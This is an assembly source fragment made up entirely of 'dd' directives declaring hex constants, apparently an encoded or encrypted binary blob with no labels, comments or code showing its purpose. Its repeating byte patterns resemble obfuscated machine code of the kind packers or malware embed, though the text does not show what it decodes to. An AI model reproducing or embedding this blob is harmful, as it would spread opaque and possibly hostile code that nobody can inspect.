		dd 6F858585h, 6A733332h, 85860F85h, 7B5FB66Fh, 25BA4B6Ah
		dd 0B9B32124h, 2B9FF32Fh, 0F12D2C29h, 47F97207h, 6A6BF82Ah
		dd 126F0F7Ah, 6A6B0A2Ah, 75B66F85h, 7FBD6A7Bh, 6A6BF82Ah
		dd 7A7A7A7Bh, 0FB4E4FF1h, 753C6A6Bh, 0CC7565CCh, 0CD757B2Dh
		dd 7298BBA8h, 0CD75A973h, 1CA47BA1h, 75860FF3h,	0F1863FCDh
		dd 6BFB226Fh, 4A6F796Ah, 306A6BF8h, 0FE75AA43h,	7A7A7AFDh
		dd 6B0A2A12h, 266F856Ah, 756A6B23h, 0FA8E7FC5h,	0C5756A6Bh
		dd 6BFB3E6Fh, 0F9AA7B6Ah, 0F31C7992h, 6F91843Fh, 843FCD75h
		dd 0C475827Bh, 35C4756Ah, 0F2B04B78h, 3F851C6Ah, 3FCD7584h
		dd 2FCD7584h, 6AA4386h,	7FC575A5h, 6A6BFAB6h, 6FC57532h
		dd 6A6BFA82h, 0F27F90F9h, 0C5757D6Eh, 6BFBE27Fh, 0B27F796Ah
		dd 0F96A6BFBh, 6FF17292h, 6A6BFA9Ah, 0FB5E6F79h, 90F96A6Bh
		dd 7D6EF272h, 6B0A2A12h, 3A6F856Ah, 0F76A7333h,	2425793Dh
		dd 2FB9B321h, 96FB9FF3h, 7A7A7956h, 852D2C29h, 6F85760Fh
		dd 6A77235Eh, 720F8523h, 8690FFF7h, 922A8585h, 7A7AD3B3h
		dd 8690F7F7h, 0B2F98585h, 46FA3A85h, 830F7A7Bh,	0F87E6FF1h
		dd 6F796A6Bh, 6A6BFAE2h, 0F37090F9h, 0F1A953B9h, 6BFBFA6Fh
		dd 67EEF26Ah, 85858690h, 6BFB2EDBh, 6FC5756Ah, 6A6BFB7Eh
		dd 0AD7BBDF3h, 0F37295F9h, 0B277F182h, 3B6A6BFAh, 0FFF39B8Dh
		dd 8585869Ah, 47FEC475h, 85858690h, 869AEFF1h, 0FEF28585h
		dd 8587946Fh, 0F182F385h, 6BFA9E77h, 7993F96Ah,	0FFF39B8Dh
		dd 858586A6h, 6BFBDADBh, 0E67F796Ah, 0F96A6BFBh, 0EFF17192h
		dd 858586A6h, 0C6DBB87Bh, 796A6BFBh, 6BF8427Fh,	7C92F96Ah
		dd 946FFEF2h, 75858587h, 9047FEC4h, 75858586h, 0FB8A6FC5h
		dd 6F796A6Bh, 6A6BFB76h, 437290F9h, 0F8FF75AAh,	0F37A7A7Ah
		dd 677F182h, 0F96A6BFBh, 9B8D7F93h, 86A2FFF3h, 9EDB8585h
		dd 796A6BFAh, 6BFAE27Fh, 7192F96Ah, 86A2EFF1h, 0B87B8585h
		dd 0D27FC575h, 0F26A6BFBh, 87946FFEh, 82F38585h, 0FB2A77F1h
		dd 77796A6Bh, 6A6BFB4Eh, 8D7E93F9h, 0AEFFF39Bh,	0DB858586h
		dd 6A6BFB16h, 826FC575h, 7B6A6BFAh, 7292F9AAh, 86AEEFF1h
		dd 0B87B8585h, 0EA7FC575h, 796A6BFBh, 6BFA9E7Fh, 7792F96Ah
		dd 946FFEF2h, 91858587h, 8E933D7Ch, 0DB858584h,	6A6BFB5Eh
		dd 437892F9h, 6BF8167Fh, 0F71B0E6Ah, 858794FFh,	0AEDB2A85h
		dd 0F96A6BFBh, 852A7292h, 7B5FCE6Fh, 73BCF36Ah,	0DB3F0E8Ch
		dd 6A6BFBDAh, 0FBE67F79h, 92F96A6Bh, 0A7F4376h,	0E6A6BF8h
		dd 0FAA2DB2Ah, 7F796A6Bh, 6A6BFB56h, 8D7792F9h,	0FFF72AA2h
		dd 85858794h, 7FC5752Ah, 6A6BFB62h, 0FBF67F79h,	92F96A6Bh
		dd 6F852A73h, 6A7A8A5Eh, 5FBE4F85h, 4F856A7Bh, 6A732286h
		dd 8690FFF7h, 922A8585h, 85859D8Fh, 0F376BEF9h,	85869EFFh
		dd 21242585h, 0F32FB9B3h, 5B6AC29Fh, 0CC927A7Bh, 297A7ADDh
		dd 0F852D2Ch, 86FFF772h, 2A8584A4h, 7ADDBE92h, 86F7F77Ah
		dd 0F98584A4h, 0FA3A85B2h, 0F7A7B46h, 0CE67F183h, 0F96A6BFBh
		dd 0BCF37991h, 0C575A453h, 6BFAAA67h, 7C91F96Ah, 864FE6F2h
		dd 758584A4h, 0FBEE7FC5h
		dd 7F796A6Bh, 6A6BFBF6h, 2A7892F9h, 3E7FC575h, 0F96A6BFBh
		dd 102A7E92h, 7FC57579h, 6A6BFB92h, 0FBC27F79h,	92F96A6Bh
		dd 4F852A71h, 6A6BFBA6h, 7A7A7B12h, 86FFF7FAh, 2A8584A4h
		dd 11626F85h, 0BDF36A6Bh, 758585F9h, 7A784BFEh,	7FC5757Ah
		dd 6A6BF83Ah, 2A7292F9h, 0A48AFFF7h, 122A8584h,	7A7A6585h
		dd 9A7BFFF7h, 2D2A8585h, 8A4E6F85h, 0FFF36A7Ah,	8584A482h
		dd 326F852Dh, 0FA6A7333h, 859A7BC7h, 0FF753685h, 7A7A7B88h
		dd 6BFAD6DBh, 7D92F96Ah, 0A482FF43h, 0FE758584h, 7A7A7BA4h
		dd 37CFCC75h, 7585859Ah, 9A34E7CCh, 0CD758585h,	7299BBA1h
		dd 0F31CA473h, 84A48CCFh, 0FFCD7585h, 8584A48Ch, 0FBA66FF1h
		dd 0B8F96A6Bh, 726F793Eh, 7B6A6BFBh, 8A6FF1AAh,	306A6BFAh
		dd 0F31CAA7Bh, 849A7AFFh, 0FFCD7585h, 85849A7Ah, 7FFEC475h
		dd 85859A7Bh, 866FC575h, 796A6BFAh, 6BFBCE6Fh, 7C90F96Ah
		dd 0FE75AA43h, 7A7A7B08h, 7AFFCD75h, 0F185849Ah, 6BFB866Fh
		dd 79B8F96Ah, 0FA9E6F79h, 0AA7B6A6Bh, 7FFEC475h, 85859A7Bh
		dd 0FAC66FF1h, 6F796A6Bh, 6A6BFBF2h, 437E90F9h,	41FF75AAh
		dd 757A7A7Bh, 9A7AFFCDh, 6FF18584h, 6A6BF876h, 0F376B8F9h
		dd 75AB7BBBh, 7B77EECCh, 0F185859Ah, 6BFAEA4Fh,	77BCF96Ah
		dd 897BB9F3h, 67CECC75h, 85859A7Bh, 0BB8CCD75h,	0A9F3729Ch
		dd 0A4F38973h, 0F38CCD75h, 0F3897BB9h, 0CFF31CA4h, 8584A48Eh
		dd 8EFFCD75h, 0F78584A4h, 9A7B7FFEh, 0F72A8585h, 849A78FFh
		dd 9C922A85h, 0F77A7ADFh, 849A78F7h, 85B2F985h,	7B46FA3Ah
		dd 0F3830F7Ah, 5182F3BDh, 6BFAEA7Fh, 7FC6FA6Ah,	85849A78h
		dd 0DB070F54h, 6A6BFB8Eh, 0FA927F79h, 92F96A6Bh, 5380F37Dh
		dd 0FEC475B8h, 849A786Fh, 6F852A85h, 6A7A8A46h,	0F97EBEF9h
		dd 2E0F3F82h, 0FAE24FF1h, 4F796A6Bh, 6A6BFBF2h,	0F37694F9h
		dd 75895381h, 7867CEC4h, 2C85849Ah, 8A466F85h, 0BEF96A7Ah
		dd 2282F97Eh, 4FF1500Fh, 6A6BFB0Ah, 0FB364F79h,	94F96A6Bh
		dd 5381F37Fh, 0CEC47589h, 849A7867h, 6F852C85h,	6A7A8A46h
		dd 0F97EBEF9h, 780E3F82h, 5A124A91h, 926A6BE2h,	85858026h
		dd 78C7F72Ah, 2D85849Ah, 8A566F85h, 0A2DB6A7Ah,	0F96A6BFAh
		dd 0F72A7C92h, 849A78FFh, 52922A85h, 0F9858581h, 24256EBEh
		dd 2FB9B321h, 96FB9FF3h, 7A7A7AEAh, 0F12D2C29h,	6BFAEA67h
		dd 7E91F96Ah, 6FF17591h, 6A6BFB02h, 1C7390F9h, 0BA272EF3h
		dd 0F832DB39h, 0BAF96A6Bh, 8B94366h, 7FC5759Fh,	6A6BFB8Ah
		dd 326FC575h, 0F36A6BFBh, 0F9AC7BBCh, 6B917D94h, 98AB88F3h
		dd 1C7637F1h, 1C0B76F1h, 0FA6F36F3h, 0FB6EDB3Ch, 3EF76A6Bh
		dd 0BC43647Ah, 7FF79808h, 6A6B20BAh, 8502FFF3h,	0AADB8585h
		dd 0F96A6BFBh, 0FFF37D92h, 85858506h, 8506CF85h, 0F858585h
		dd 30419272h, 0BEF97A7Ah, 0EFFF372h, 0DB858585h, 6A6BFAC6h
		dd 0EFF433Ah, 0F858585h, 0FA3FF741h, 0BA3FF72Ah, 0F3FB922Ah
		dd 0FFF37A7Ah, 8585850Ah, 8502CF85h, 3FF78585h,	90922ABAh
		dd 0F97A7A28h, 0BA736ABEh, 0CF85680Eh, 85858502h, 2ABA3FF7h
		dd 8598BD92h, 72BEF985h, 8506FF85h, 42DB8585h, 0F96A6BF8h
		dd 6FF15ABAh, 6A6BFBA6h, 7970B8F9h, 6BFA9A6Fh, 0B8D5756Ah
		dd 8506FF43h, 3A098585h, 2AFA3FF7h, 7A7F3992h, 0AFFF37Ah
		dd 85858585h, 858502CFh, 0FA3FF785h, 28F1922Ah,	0BEF97A7Ah
		dd 75BA7376h, 858535FEh, 2CF8585h, 0F7858585h, 922AFA3Fh
		dd 8585981Eh, 9372BEF9h, 85858542h, 0F85247F1h,	95F96A6Bh
		dd 0F36B9172h, 0F198AB80h, 0F11C7237h, 1CBA6F2Eh, 3D036EF3h
		dd 6BFB76DBh, 64BAF96Ah, 9908BD43h, 0B3212425h,	9FF32FB9h
		dd 752D292Bh, 0C3723FCCh, 7A7A7A51h, 0DAC4F9C0h, 0BB988D55h
		dd 2FF37990h, 0F3ADF386h, 7227F281h, 723FCC75h,	0E26FC575h
		dd 0F16A6BFBh, 6BFBD677h, 702EF76Ah, 0FAA437Bh,	7A15C270h
		dd 0F9937A7Ah, 757A7A7Ah, 0F1723FCCh, 6BFBD66Fh, 77C5756Ah
		dd 6A6BF83Eh, 90F9B07Bh, 0FAA4372h, 7A03C27Dh, 18917A7Ah
		dd 723FCC75h, 0FB4A6FF1h, 0B8F96A6Bh, 0FAA4378h, 7A13C27Dh
		dd 30917A7Ah, 723FCC75h, 0FBD66FF1h, 6F796A6Bh,	6A6BFB66h
		dd 437E90F9h, 0C27D0FAAh, 7A7A7A1Fh, 0CC755691h, 6FF1723Fh
		dd 6A6BFB6Ah, 437E90F9h, 0C27D0FAAh, 7A7A7A1Bh,	0CC756E91h
		dd 6FF1723Fh, 6A6BFA92h, 0FAA4338h, 7A0FC27Fh, 21257A7Ah
		dd 122DB9B3h, 6A6BE26Bh, 858D9992h, 852A2385h, 7B5FE26Fh
		dd 0F80ED96Ah, 0BADB6A6Bh, 756A6BFAh, 0FBB66FC5h, 0AA7B6A6Bh
		dd 437192F9h, 6BF80E7Fh, 126D0F6Ah, 6A6BE278h, 858DC992h
		dd 852A2385h, 7F48626Fh, 0F80ED96Ah, 94126A6Bh,	926A6BEDh
		dd 85858DE6h, 4F852A23h, 6A6BF80Eh, 5BD66F85h, 7AD96A7Bh
		dd 256A7F50h, 9FF32FB9h, 7F12D2Ch, 760FF172h, 0F16A3FF1h
		dd 0A88D6E2Fh, 0AB738BF3h, 80F3B24Bh, 0AAF3B87Bh, 0F3623F79h
		dd 5A0779BDh, 2D660F85h, 7A5A3092h, 72BEF97Ah, 8D7BBDF3h
		dd 242582F3h, 0F32FB927h, 2E96F99Fh, 0F12D2C29h, 7E10720Fh
		dd 7A6A7A12h, 763FF17Ah, 73ABAF9h, 45BAF979h, 0F37C82BBh
		dd 7C9DBBBDh, 857A102Dh, 7F48666Fh, 963FF36Ah, 757607F1h
		dd 0F8726FC5h, 77F16A6Bh, 6A6BF84Eh, 4D702EF7h,	0AA7B82F3h
		dd 0BAF97907h, 7C82BB45h, 0EA47C575h, 0F16A6BFBh, 6BFB8277h
		dd 7506F76Ah, 75B8F34Fh, 8528ADD5h, 6F85960Fh, 6A7A8A42h
		dd 2C760F85h, 85960F85h, 73326E6Fh, 8A3FF76Ah, 3C10922Ah
		dd 0BEF97A7Ah, 960FF16Ah, 7E7FC575h, 756A6BFBh,	0FBE26FC5h
		dd 0B9F36A6Bh, 9131A97Bh, 3FF72C65h, 82922A8Ah,	0F97A7A41h
		dd 7ADB72BEh, 0F96A6BFBh, 7F7955BAh, 6A6BFB5Ah,	397C4EF7h
		dd 0F17607F1h, 6BFB8E6Fh, 4DB8F96Ah, 0AA7B82F3h, 0BAF97907h
		dd 7C82BB45h, 0BF06B943h, 7AFA7A12h, 0FB5EDB7Ah, 92F96A6Bh
		dd 0F852A78h, 6A6F8596h, 0F76A7332h, 852AD63Fh,	56926A0Fh
		dd 0DB7A7A1Ch, 6A6BFB02h, 2A7DBAF9h, 2A8A3FF7h,	2AD63FF7h
		dd 233A6F85h, 0BEF96A77h, 9E47F16Eh, 0F96A6BFAh, 82437F95h
		dd 0BA4B7F0Eh, 4B78913Ah, 212425BAh, 0F32FB9B3h, 0FBAADB9Fh
		dd 92F96A6Bh, 467F437Dh, 0C6A6B15h, 15461271h, 6F856A6Bh
		dd 6A7A8A6Eh, 6B1546DBh, 7EB8276Ah, 9FF32F7Ah, 6BF84ADBh
		dd 5E7F796Ah, 0F96A6BFBh, 7F437992h, 6A7B5FC2h,	0C212710Ch
		dd 856A7B5Fh, 7A8A6E6Fh, 5FC2DB6Ah, 0B8276A7Bh,	0F32F7A7Eh
		dd 6696FB9Fh, 297A7A78h, 0FFF72D2Ch, 8585878Ah,	5ADA122Ah
		dd 0F5926A7Bh, 0F97A7AF8h, 0FFF372BEh, 85858782h, 0EE7FC575h
		dd 756A6BFBh, 0FBE26FC5h, 0AA7B6A6Bh, 437892F9h, 858782FFh
		dd 4B7D0F85h, 7BEB93BAh, 6EDB7A7Ah, 796A6BF8h, 6BFA967Fh
		dd 86FFF36Ah, 0F1858587h, 858786FFh, 82EFF185h,	0F7858587h
		dd 0B2F97876h, 46FA3A85h, 830F7A7Bh, 878EFFF3h,	0C7FB8585h
		dd 8585878Eh, 7A7A7A85h, 0FFF15009h, 85858786h,	0F85E6FF1h
		dd 6F796A6Bh, 6A6BFB82h, 7B7990F9h, 82FF79AAh, 2A858587h
		dd 857BFFF7h, 922A8585h, 7A7AE58Bh, 0D24FC575h,	916A6BFAh
		dd 4FC6FA5Fh, 8585857Bh, 0BC720F53h, 857B4FFEh,	0FA478585h
		dd 857B4FC6h, 0F528585h, 4FFEBC72h, 8585857Bh, 0F7F73C51h
		dd 8585857Bh, 3A85B2F9h, 7A7B46FAh, 0BC43830Fh,	8512BD08h
		dd 0F77A7A7Ah, 858478FFh, 0FFF72A85h, 8585857Bh, 0EE11922Ah
		dd 0BEF97A7Ah, 75B9F376h
		dd 0FAEE47C5h, 95F96A6Bh, 75549178h, 7847FEC4h,	0F3858584h
		dd 858792FFh, 8D82F385h, 9EFFF39Dh, 0F1858587h,	858792FFh
		dd 9EEFF185h, 53858587h, 47FEF2AAh, 85858478h, 8A5433Dh
		dd 0F846DBB4h, 7F796A6Bh, 6A6BFB96h, 2A7892F9h,	0F7720F85h
		dd 858478FFh, 0FE922A85h, 0F97A7A5Dh, 0FFF376BEh, 85858796h
		dd 6BFBFADBh, 85817F6Ah, 7F797A7Ah, 6A6BF876h, 8796FF43h
		dd 6B0E8585h, 8782CF85h, 6F858585h, 6A7B5FB6h, 913ABA4Bh
		dd 8EFFF144h, 7B858587h, 858786FFh, 0FBF6DB85h,	793A6A6Bh
		dd 6BFB227Fh, 86FF7B6Ah, 0F1858587h, 85878AFFh,	86FF4385h
		dd 75858587h, 8584F4F8h, 82CF8585h, 85858587h, 7B5FB66Fh
		dd 25BA4B6Ah, 0B9B32124h, 7A3A7BC2h, 7A72B8FAh,	0F99FF32Fh
		dd 2C293A96h, 720FF12Dh, 327FC575h, 0F36A6BFBh,	0BA4779BDh
		dd 0F96A6BFBh, 74917895h, 99AB81F3h, 46EF11Ch, 672EF31Ch
		dd 3ADB3DBAh, 0F96A6BFBh, 7F7965BAh, 6A6BFBA6h,	9A08BD43h
		dd 2ABA3FF7h, 0F9EF922Ch, 0BEF97A7Ah, 21242572h, 0F32FB9B3h
		dd 4296FB9Fh, 297A7A7Bh, 6FF72D2Ch, 6A7AA4ADh, 0FB0677F1h
		dd 0BBF96A6Bh, 0A9AAF373h, 4A6FF192h, 0F96A6BF8h, 6F797DB8h
		dd 6A6BFBAEh, 0B9F3ABF3h, 7FF799A9h, 6A7AA4ADh,	0F3963FF3h
		dd 0A2F39227h, 3742FB1Ch, 75620E20h, 0FB327FC5h, 6FF16A6Bh
		dd 6A6BFA9Ah, 836AFEF7h, 537A7A85h, 0DBA691B9h,	6A6BFB9Ah
		dd 0F342BAF9h, 0F3BC7BA4h, 0F37C79A2h, 37F18A3Fh, 0CB24396h
		dd 0FB5ADB6Dh, 887F6A6Bh, 757A7A85h, 0FAAA6FC5h, 0AA7B6A6Bh
		dd 0D191B953h, 0F38A3FF1h, 0CD75823Fh, 3F2A477Ah, 6A0E7A7Ah
		dd 827FC575h, 7F6A6BFAh, 7A7A8581h, 0F191B953h,	0F1823FF1h
		dd 7A7AFAFAh, 8E3FF37Ah, 6BFBCEDBh, 7E92F96Ah, 93863FF3h
		dd 7A7A7B06h, 3F79A2F3h, 863F798Eh, 84AEFFF3h, 6FF18585h
		dd 6A6BFAAEh, 437F90F9h, 15FE756Ah, 0F17A7A7Bh,	8584AEFFh
		dd 79A0F385h, 0EFF3762Ah, 858584AAh, 0A3FFF728h, 2A858584h
		dd 7AE72692h, 0FBCADB7Ah, 7F796A6Bh, 6A6BFB02h,	0F36A92F9h
		dd 5891A23Fh, 0F0A23FF1h, 84A37FFEh, 1B468585h,	466B04h
		dd 3FF17707h, 7FFEF7A2h, 858584A3h, 855A52FAh, 3FF1A23Fh
		dd 0FEC475A2h, 8584A37Fh, 0C26FF185h, 0F96A6BFBh, 0AA437E90h
		dd 1ADBBC0Fh, 0FA6A6BFBh, 84AD7FC6h, 75368585h,	7A7AA1FFh
		dd 0E26FF17Ah, 0FA6A6BFAh, 84AC6FC6h, 75498585h, 7A7ABDFFh
		dd 7FC6FA7Ah, 858584A8h, 0C3FF7531h, 0DB7A7A7Ah, 6A6BFB56h
		dd 0FB867F79h, 0C6FA6A6Bh, 8584A87Fh, 0FF753F85h, 7A7A7ADAh
		dd 3E7FC575h, 0FA6A6BFBh, 84AD7FC6h, 75288585h,	7A7AF1FFh
		dd 0FB06DB7Ah, 7F796A6Bh, 6A6BFB2Ah, 0AF7FC6FAh, 48858584h
		dd 0FFF10C0Fh, 858584AEh, 2A79A0F3h, 0B2EFF36Ah, 0DB858584h
		dd 6A6BFB2Ah, 0F8467F79h, 92F96A6Bh, 0B6FFF37Eh, 0F1858584h
		dd 8584B2FFh, 79BCF385h, 8584B6CFh, 0DB44F185h,	6A6BF876h
		dd 0FBAE7F79h, 92F96A6Bh, 0EBD4376h, 4D922D3Fh,	237A7A5Ch
		dd 6BFB2ADBh, 7E92F96Ah, 0F82E7F43h, 540F6A6Bh,	6BFB5EDBh
		dd 167F796Ah, 0F96A6BFBh, 0FF7B7992h, 858584B6h, 6C91CB91h
		dd 6E863FF9h, 0F1823FF1h, 7A7AFEFAh, 863F437Ah,	8408F875h
		dd 0AADB8585h, 796A6BFBh, 6BF8327Fh, 7192F96Ah,	0F82E7F43h
		dd 180E6A6Bh, 7A77C592h, 73D4927Ah, 0F2927A7Ah,	0F37A7A78h
		dd 9D2FF2B8h, 9D3FCC75h, 0FAAE6FF1h, 90F96A6Bh,	0EAA4379h
		dd 9A3FF747h, 0FBCEDB2Ah, 92F96A6Bh, 3FF72A7Eh,	0AD122AA6h
		dd 0DB6A7AA4h, 6A6BFBF6h, 0FAAE7F79h, 92F96A6Bh, 52DB2A7Ch
		dd 756A6BF8h, 0FA826FC5h, 0AA7B6A6Bh, 2A7792F9h, 155A6F85h
		dd 24256A6Bh, 2FB9B321h, 2D2C9FF3h, 0F17207F1h,	8AF3760Fh
		dd 0F36A3F59h, 59A88D88h, 0AA736E2Fh, 0B87B80F3h, 3F79AAF3h
		dd 79BDF362h, 0F855A07h, 0E922D66h, 0F97A7A63h,	0BDF372BEh
		dd 82F38D7Bh, 0B9272425h, 0C29FF32Fh, 7A7A5A7Ah, 7AE15E92h
		dd 122D2C7Ah, 7A7A6585h, 9A7BFFF7h, 852A8585h, 6F85720Fh
		dd 6A6B1542h, 6BEDA312h, 8A3C926Ah, 47F18585h, 6A6BFB82h
		dd 2D7895F9h, 7BC7F72Ah, 2D85859Ah, 7A592092h, 6ABEF97Ah
		dd 0FB824FF1h, 0BCFB6A6Bh, 7A7A8586h, 730E8A43h, 92720F85h
		dd 7A7A1690h, 3ABA4B23h, 0B8B32425h, 0F32F7A72h, 2D2C299Fh
		dd 0F17207F1h, 0FF17627h, 5BA2F36Eh, 6A2FF18Ah,	0AB8D8BF3h
		dd 0AA73B05Bh, 0B87B80F3h, 3F79AAF3h, 79BDF362h, 0F855A07h
		dd 0B2922D66h, 0F97A7A62h, 0BDF372BEh, 82F3A57Bh, 27212425h
		dd 9FF32FB9h, 7B7E96FBh, 2D2C7A7Ah, 6BFB76DBh, 79B8F36Ah
		dd 6BFBE66Fh, 7C90F96Ah, 367F7928h, 0F96A6BFBh,	102A7E92h
		dd 7FC57579h, 6A6BF83Ah, 0FBDA7F79h, 92F96A6Bh,	0BADB2A6Ah
		dd 0F96A6BFAh, 122A7892h, 0FA7A7A7Ah, 73484A12h, 626F856Ah
		dd 0F36A6B11h, 8585F9BDh, 50C27D0Fh, 917A7A7Ah,	0F852DB10h
		dd 0C5756A6Bh, 6BFABE6Fh, 0F9AA7B6Ah, 0F72A7492h, 858486FFh
		dd 85122A85h, 0F77A7A7Ah, 85857BFFh, 852D2A85h,	7A8A4E6Fh
		dd 2DBCF36Ah, 33326F85h, 0CC756A73h, 85857BFFh,	0AA6FF185h
		dd 0F96A6BFBh, 0AA4360B8h, 50C27D07h, 917A7A7Ah, 0FBE6DB60h
		dd 92F96A6Bh, 0FBC437Eh, 7A50C27Dh, 7D917A7Ah, 7BFFCC75h
		dd 25858585h, 2FB9B324h, 2C299FF3h, 7227F12Dh, 29760FF1h
		dd 8A7A6F85h, 0BDF36A7Ah, 6BFBF2DBh, 9E7F796Ah,	0F96A6BFBh
		dd 0DB2A7392h, 6A6BFAC2h, 0F85E7F79h, 92F96A6Bh, 1ADB2A7Fh
		dd 7F6A6BFBh, 7A7A658Dh, 326FC575h, 7B6A6BFBh, 2D2C2AAAh
		dd 7FC57529h, 6A6BFABEh, 2A7C92F9h, 6F857A10h, 6A7A8A6Ah
		dd 6BFB6EDBh, 6FC5756Ah, 6A6BFBE2h, 92F9AA7Bh, 447EF278h
		dd 242582F3h, 2FB92721h, 96FB9FF3h, 7A7A7B72h, 47F12D2Ch
		dd 6A6BFBF2h, 7FC5753Dh, 6A6BFAD2h, 0B91BD7Bh, 6BEDB712h
		dd 9420926Ah, 0FFF38585h, 85858482h, 6BEDB912h,	9430926Ah
		dd 2A2D8585h, 8482CFF1h, 0F72C8585h, 85857BCFh,	6F852C85h
		dd 6A772352h, 0F762BEF9h, 85857BFFh, 7A102A85h,	6A7A7A12h
		dd 426F857Ah, 0F36A7333h, 858486FFh, 0EBA7385h,	6F852A65h
		dd 6A733332h, 527FC575h, 3A6A6BFBh, 7F0FBD43h, 913ABA4Bh
		dd 7A78C259h, 66917A7Ah, 0FB6ADB3Dh, 0BAF96A6Bh, 6FC57521h
		dd 6A6BFB7Eh, 0BD43AA7Bh, 850CF875h, 0BA4B8585h, 0B9B32425h
		dd 0EDCE122Dh, 0B3926A6Bh, 23858597h, 0E26F852Ah, 0D96A7B5Fh
		dd 6A6BF806h, 6BFA96DBh, 6FC5756Ah, 6A6BFB1Eh, 92F9AA7Bh
		dd 67F4378h, 0F6A6BF8h,	0EDDF126Dh, 0E3926A6Bh,	23858597h
		dd 626F852Ah, 0D96A7F48h, 6A6BF806h, 6BEDF712h,	97F8926Ah
		dd 2A238585h, 0F8064F85h, 6F856A6Bh, 6A7B5BD6h,	7B75BED9h
		dd 2FB9256Ah, 96FB9FF3h, 7A7A7B7Eh, 0FADEDB2Dh,	7F796A6Bh
		dd 6A6BFBCEh, 0F2722FF0h, 848C7FEEh, 9ADB8585h,	0F96A6BFBh
		dd 122A7E92h, 7A7A7AFAh, 2DB7E10h, 0F96A6BFBh, 0DB2A7392h
		dd 6A6BF836h, 726FC575h, 7B6A6BF8h, 7092F9AAh, 7A7A122Ah
		dd 4A123A7Ah, 856A7348h, 6B11626Fh, 75BDF36Ah, 0FBBE7FC5h
		dd 7F796A6Bh, 6A6BFB0Ah, 2A7692F9h, 8486FFF7h, 0DB2A8585h
		dd 6A6BFB02h, 2A7292F9h, 857BFFF7h, 2D2A8585h, 15666F85h
		dd 852D6A6Bh, 7333326Fh, 0B9B3256Ah, 0F99FF32Fh, 2D2C7696h
		dd 127207F1h, 6A7AD87Dh, 4C851E1Dh, 1E1D7A7Ah, 7A7A5CF3h
		dd 6BEDFF12h, 96C8926Ah
		dd 4D858585h, 8C0FF72Ah, 526F852Ch, 0F96A7723h,	7A106ABEh
		dd 3FF74D85h, 62922A8Ch, 757A7A53h, 0FBEA7FC5h,	7F796A6Bh
		dd 6A6BFAC2h, 2A7692F9h, 235E6F85h, 0BEF96A77h,	25AD916Ah
		dd 7EB8B324h, 9FF32F7Ah, 781696FBh, 2C297A7Ah, 39A14B2Dh
		dd 6BED0712h, 9620926Ah, 0F858585h, 0C7F72A72h,	858587C4h
		dd 526F852Dh, 0F96A7723h, 0FFF76ABEh, 858584B8h, 0C4FFF72Ah
		dd 2A858587h, 48526F85h, 0FFF36A73h, 858587C2h,	0EE7FC575h
		dd 8D6A6BFBh, 0C2FF43A2h, 75858587h, 7A7B1CFFh,	5A3FF77Ah
		dd 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h, 8587DAFFh,	7FC57585h
		dd 6A6BFAEEh, 0AA6FC575h, 7B6A6BFAh, 7292F9AAh,	87DAFF43h
		dd 77048585h, 87E2C7F7h, 0FF78585h, 91DFDF5Ah, 0E2C7F771h
		dd 0F7858587h, 0DFDF6A0Fh, 87D2FFF7h, 0F72A8585h, 8587E2FFh
		dd 6F852A85h, 6A6B2002h, 6BFB22DBh, 0EFCD756Ah,	858587C8h
		dd 0CAF7CD75h, 0F1858587h, 6BF8764Fh, 4A0EF76Ah, 0B4D5754Fh
		dd 0CD75B07Bh, 8587D4F7h, 824FF185h, 0F96A6BFBh, 0D5756FBCh
		dd 264FF1B4h, 0F96A6BFBh, 0D57542BCh, 75B07BB4h, 87D0F7CDh
		dd 4FF18585h, 6A6BFAE2h, 756FBCF9h, 0C575B4D5h,	6BFBBE4Fh
		dd 0CA47F16Ah, 0F76A6BFBh, 7573440Eh, 4FF1B4D5h, 6A6BFB36h
		dd 754FBCF9h, 0FB5247C5h, 847B6A6Bh, 7BB4D575h,	0F7CD75B0h
		dd 858587D2h, 0FA9A4FF1h, 0C5756A6Bh, 6BFAE647h, 75847B6Ah
		dd 0C575B4D5h, 6BFACE4Fh, 63BCF96Ah, 0F1B4D575h, 6BFAC24Fh
		dd 6BBCF96Ah, 0B2F3BC7Bh, 75BCD575h, 0FB9277C5h, 4FF16A6Bh
		dd 6A6BFB06h, 544B36F7h, 7BBBD575h, 0DEEFF3B8h,	0F3858587h
		dd 4A6FF1AAh, 436A7A8Ah, 8BFD75AAh, 537A7A7Ah, 0FAC2DBB8h
		dd 0A67F6A6Bh, 437A7A6Ah, 0A7FC75B8h, 857A7A7Ah, 6F85720Fh
		dd 6A7A8A76h, 87EEFFF3h, 0B3938585h, 0FA7A7A7Ah, 858494C7h
		dd 0FE755485h, 7A7A7AC2h, 6BED0E12h, 90E0926Ah,	0C7F78585h
		dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h,	23526F85h
		dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah,	7A7AE5C3h
		dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 85858797h,	7B22BEFBh
		dd 16917A7Ah, 84B8FFF7h, 852A8585h, 8587C2CFh, 0B26F8585h
		dd 0F36A7B75h, 0EA173B9h, 94C7FA2Dh, 54858584h,	1112300Eh
		dd 926A6BEDh, 85859056h, 8494C7F7h, 852D8585h, 0F72A720Fh
		dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h
		dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h
		dd 8705922Dh, 0BEFB8585h, 7A7A7B22h, 0EA0FA173h, 0B3212425h
		dd 9FF32FB9h, 782E96FBh, 2C297A7Ah, 96FFF72Dh, 2A858584h
		dd 6BFABADBh, 0F67F796Ah, 0F96A6BFBh, 0DB2A7992h, 6A6BFB9Eh
		dd 2A7E92F9h, 36DB5A10h, 756A6BFBh, 0FAAA6FC5h,	0AA7B6A6Bh
		dd 2A7292F9h, 507A6F85h, 3FF76A7Fh, 6F852A8Ah, 6A734E4Ah
		dd 6BF86EDBh, 2FCD756Ah, 37CD7580h, 667F182h, 0F96A6BFBh
		dd 0D5754FB9h, 75B07BB1h, 758C37CDh, 0FB3E67C5h, 0B9F96A6Bh
		dd 0B1D5756Eh, 0FB5E67F1h, 0B9F96A6Bh, 4FC5754Dh, 6A6BFB42h
		dd 0D575897Bh, 75B07BB1h, 0F18837CDh, 6BFB0267h, 6FB9F96Ah
		dd 0F1B1D575h, 6BFB8E67h, 75B9F96Ah, 0F1B1D575h, 6BF86E67h
		dd 43B9F96Ah, 7BB1D575h, 37CD75B0h, 6667F18Ah, 0F96A6BF8h
		dd 67797FB9h, 6A6BFADAh, 0F1B1D575h, 6BFBFE67h,	623EF76Ah
